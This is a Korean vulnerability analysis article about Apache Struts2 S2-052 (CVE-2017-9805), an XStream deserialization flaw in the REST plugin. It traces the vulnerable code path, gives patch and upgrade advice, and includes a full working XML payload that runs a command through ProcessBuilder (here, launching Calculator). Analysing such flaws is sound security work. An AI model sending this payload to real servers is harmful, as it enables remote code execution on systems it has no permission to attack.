> 운영 및 유지보수 > 안전 > Struts2-052 취약점 예시 분석

Struts2-052 취약점 예시 분석

王林
풀어 주다: 2023-05-13 11:25:06
앞으로
1372명이 탐색했습니다.

서문

2017년 9월 5일 해외 안보 연구 기관인 lgtm.com의 보안 연구원들이 발견한 심각한 취약점이 Apache Struts 2에서 공식적으로 공개되었습니다. 취약점 번호는 CVE-2017-9805(S2-052)입니다. 공격자 원격 명령 실행을 위해 신중하게 구성된 xml 데이터가 전달될 수 있습니다.
Struts2 REST 플러그인의 XStream 구성 요소에는 역직렬화 취약점이 있습니다. XStream 구성 요소를 사용하여 XML 형식의 데이터 패킷을 역직렬화하면 데이터 콘텐츠가 효과적으로 확인되지 않아 보안 위험이 발생하고 원격 명령으로 실행될 수 있습니다.
악용 조건: REST 플러그인을 사용하고 영향을 받는 버전 범위 내에서.
악용 방법: 공격자는 원격 악용을 위해 악성 데이터 패킷을 구성합니다.
영향 버전: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

디버깅 환경 구축

1) 공식 소스 코드 다운로드:
git clone https://github.com/apache/Struts .git
2) 2.5.12 브랜치로 전환:
git checkout STRUTS_2_5_12
3) 소스 패키지의 전체 src/apps/rest-showcase 폴더를 복사하고 새 프로젝트를 생성합니다.
4) IDEA 또는 eclipse를 사용하여 maven 프로젝트
5 ) 디버그 모드로 실행한 후, 즐겁게 디버깅할 수 있습니다
Struts2-052 취약점 예시 분석

취약점 원리 분석

공식 발표에 따르면 취약점은 struts2-rest-plugin-2.5의 XstreamHandler 클래스에 나타나는 것으로 알려져 있습니다. .12.jar 패키지.
이 클래스를 보세요. 이 클래스에는 toObject 메서드가 있으며, 그 기능은 xml 콘텐츠를 역직렬화하는 것입니다.
Struts2-052 취약점 예시 분석
먼저 이 메서드에 중단점을 설정한 다음 데이터 패킷을 구성합니다.
Struts2-052 취약점 예시 분석
데이터 패킷을 보낸 후 중단점으로 점프합니다. 이때 상위 호출 스택의 ContentTypeInterceptor가 호출된 것을 볼 수 있습니다. this method
Struts2-052 취약점 예시 분석
ContentTypeInterceptor 클래스의 Intercept 메소드는 전달된 Content-Type의 값을 기반으로 해당 개체를 생성합니다. application/xml을 전달하므로 XML 처리 개체 XStreamHandler가 그에 따라 생성됩니다.
f5로 계속해서 역직렬화를 수행하는 unmarshal 함수를 확인하세요. 이 함수가 실행될 때 데이터 보안 검사가 없으므로 원격 명령이 실행됩니다.
Struts2-052 취약점 예시 분석
그런 다음 unmarshal 함수를 입력하고 디버깅을 계속합니다. AbstractReflectionConverter는 우리가 제출한 xml 태그와 값을 단계별로 구문 분석하고 마지막으로 poc의 코드를 호출합니다.
Struts2-052 취약점 예시 분석

취약점은 http 페이지에서 재현됩니다

. //localhost:8080 //struts2-rest-showcase/orders/3/edit에서 제출을 클릭합니다.
Struts2-052 취약점 예시 분석
HTTP 요청을 가로채서 요청 본문을 POC 페이로드로 변경하고 콘텐츠 유형 헤더를 application/xml로 변경합니다. .
페이로드는

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>
로그인 후 복사

요청을 보낸 후 계산기가 나타납니다
Struts2-052 취약점 예시 분석

patch

공식 패치는 주로 xml의 데이터를 화이트리스트에 추가하고 컬렉션 및 맵, 몇 가지 기본 클래스를 추가합니다. 클래스는 화이트리스트에 배치되어 역직렬화 중에 XStream이 유해한 클래스를 가져오는 것을 방지할 수 있습니다Struts2-052 취약점 예시 분석

수정 제안

버전 2.3.0에서 2.3.33으로 업그레이드 Struts 2.3.34 버전
버전 0에서 2.5.12로 업그레이드하세요. Struts 2.5.13 버전으로 업그레이드

위 내용은 Struts2-052 취약점 예시 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:yisu.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿